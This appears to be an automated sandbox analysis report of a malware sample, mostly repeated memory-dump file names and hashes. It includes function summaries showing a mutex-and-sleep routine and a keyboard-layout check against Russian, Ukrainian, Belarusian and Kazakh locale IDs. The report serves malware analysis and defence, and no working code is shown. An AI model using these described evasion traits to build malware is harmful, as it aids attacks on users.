Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: 21c260d4c8300b2594fb15613b0cad9e1e29c2e9ed46d3a89eff1ba08f4974e1
Instruction ID: 19e88c76e8c2ec31b796efad7e63635e3e1cc25651c23135384af8eaf32004d2
Opcode Fuzzy Hash: 21c260d4c8300b2594fb15613b0cad9e1e29c2e9ed46d3a89eff1ba08f4974e1
Instruction Fuzzy Hash: 15726871A04244ABEB08DF68DD89BDEBBB1EB45304F509258F854B73C1DB35AAC4CB91

Function 00E3652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00E3652A,?,?,?,?,?,00E37661), ref: 00E36566

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: eb3fd67a269678e70c4101421d5484914a1e718a34d74931ee7c261042b37998
Instruction ID: 61e8d413e771e59716c67b315531dc235a8806cde515b785a184e721a14aa9a5
Opcode Fuzzy Hash: eb3fd67a269678e70c4101421d5484914a1e718a34d74931ee7c261042b37998
Instruction Fuzzy Hash: D4E08C30142148BACF25BF28CC49E883F69EB41748F00AC30FA056A226CBA5ED82C680

Function 04A30BD9 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2304796562.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c8720f9d09fac4b762c91ecc7440d5c92be70d934443f7b79ff50bb21d67f22
Instruction ID: 8506868af64a5df25964d726eaa852ab93e89d6decc8d7fbd90a245fc45395dc
Opcode Fuzzy Hash: 9c8720f9d09fac4b762c91ecc7440d5c92be70d934443f7b79ff50bb21d67f22
Instruction Fuzzy Hash: D74112FB34C220BEB14286922B55AF76B7EE6D37723318467F403C550AF2896E0E6071

Function 00E05C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

00000423, xrefs: 00E060FA
00000422, xrefs: 00E060C9
Keyboard Layout\Preload, xrefs: 00E06054
0000043f, xrefs: 00E0612B
00000419, xrefs: 00E06098

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 55acc5080a8b1f0bae5907dd925f24dd7b585f08fb0ed0263f8e755f02e7ef04
Instruction ID: e974490a7d1d5ac0a420d063cbbc1d4c1c490fa5457962a15cd5f145009f9c1f
Opcode Fuzzy Hash: 55acc5080a8b1f0bae5907dd925f24dd7b585f08fb0ed0263f8e755f02e7ef04
Instruction Fuzzy Hash: 81F1D071A00248ABEB24DF54CD84BDEBBB9EB45304F5046A9F918B72C1DB749AC4CF91

Function 00E09BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E0A963
CreateMutexA.KERNEL32(00000000,00000000,00E63254), ref: 00E0A981

Strings

T2, xrefs: 00E0A970

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 0392f7331e15f213721e9e7058cf258c4dd95e2a19776dd0aafbea09e3e0524c
Instruction ID: 97bc47e468bc99df14d6ffebb60962fba374d20a1cf9e621d926ead97b8cc3ca
Opcode Fuzzy Hash: 0392f7331e15f213721e9e7058cf258c4dd95e2a19776dd0aafbea09e3e0524c
Instruction Fuzzy Hash: BD311871B042049BEB18DFB8EDC97ADB7A2EBC5324F249228E014B72D7C77599C08752

Function 00E09F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E0A963
CreateMutexA.KERNEL32(00000000,00000000,00E63254), ref: 00E0A981

Strings

T2, xrefs: 00E0A970

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: ef578c8dc5abfc03572748e177ed72571cd7e2ee65be0bf09c7ed976ed0dccff
Instruction ID: 56b045b4de166c570e64c39a512bda47c8a88dca0efb99fb6a633af023be52ba
Opcode Fuzzy Hash: ef578c8dc5abfc03572748e177ed72571cd7e2ee65be0bf09c7ed976ed0dccff
Instruction Fuzzy Hash: D13159317042099BEB18DFB8EC897ADB7A2EBC5314F289628E054F72D6C77599C08752

Function 00E0A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E0A963
CreateMutexA.KERNEL32(00000000,00000000,00E63254), ref: 00E0A981

Strings

T2, xrefs: 00E0A970

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
